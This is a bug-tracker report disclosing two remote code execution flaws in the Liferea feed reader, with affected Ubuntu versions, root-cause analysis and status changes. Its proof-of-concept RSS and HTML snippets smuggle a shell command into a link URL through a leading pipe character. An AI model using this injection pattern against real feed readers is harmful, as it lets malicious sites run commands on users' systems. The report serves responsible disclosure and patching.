RCE vulnerability in Liferea feed enrichment and discovery
| Affects | Status | Importance | Assigned to | Milestone | |
|---|---|---|---|---|---|
| liferea (Debian) |
Fix Released
|
Unknown
|
|||
| liferea (Ubuntu) |
New
|
Undecided
|
Unassigned | ||
Bug Description
Liferea packages available in all currently supported versions of Ubuntu have two related remote code execution vulnerabilities that allow malicious websites to run arbitrary commands in the target system.
I found them when debugging a failure that caused the feed enrichment feature to save the results incorrectly, then informed upstream privately and sent two tentative patches. They are both in the upstream master branch now (https:/
These patches need backporting, I'm a bit short on time but working with upstream on this.
--- Affected versions ---
liferea/bionic 1.12.2-1
liferea/focal 1.12.7-1build1
liferea/jammy 1.13.7-2build1
liferea/kinetic 1.13.9-1
liferea/lunar 1.14.0-1
--- Detailed description and PoC ---
Both failures happen when Liferea ends up accepting command feeds from a malicious website and runs them locally, with the same privileges of the current user. The entry points, however, are different:
- The first one can itself be triggered in two different ways (does it count as three bugs? Not sure, but it's the same fix) and happens when using the feed enrichment feature, both from HTML5 and from AMP. Trying to run it after option "Extract full content from HTML5 and Google AMP" is enabled in a subscription that produces this item:
<item>
<title>Check /tmp/bad-
<link>|date >/tmp/
</item>
will cause Liferea to call update_request_new on URL "|date >/tmp/bad-
<!DOCTYPE html>
<html>
<head>
<title>AMP URL RCE PoC</title>
<link rel="amphtml" href="|date > /tmp/bad-
</head>
<body>
Check the results in /tmp/bad-
</body>
</html>
once Liferea tries to load the AMP URL. There are detailed instructions and demos in the directory "feed-enrichmen
- The second one happens on feed discovery when the site returns a document like this:
<!DOCTYPE html>
<html>
<head>
<title>Feed auto-discovery RCE PoC</title>
<link rel="alternate" type="applicati
</head>
<body>
Oooops.
</body>
</html>
The sequence of failure is a bit tricky and is ultimately caused by libxml2 functions xmlURIEscape and xmlBuildURI failing to handle URL parts with a special characters (like "|") and LF functions common_uri_escape and common_build_url coping with that by returning a copy of the original string. There is a demo for it in directory "feed-discovery
CVE References
| Alexandre Erwin Ittner (aittner) wrote | #1 |
| Alexandre Erwin Ittner (aittner) wrote | #2 |
| information type: | Private Security → Public Security |
| Marc Deslauriers (mdeslaur) wrote | #3 |
| tags: | added: community-security |
| Changed in liferea (Debian): | |
| status: | Unknown → Fix Released |
Private Security → Public Security: Information about the vulnerability is already published in GH, etc. No need to keep this private.
Also link to CVE-2023-1350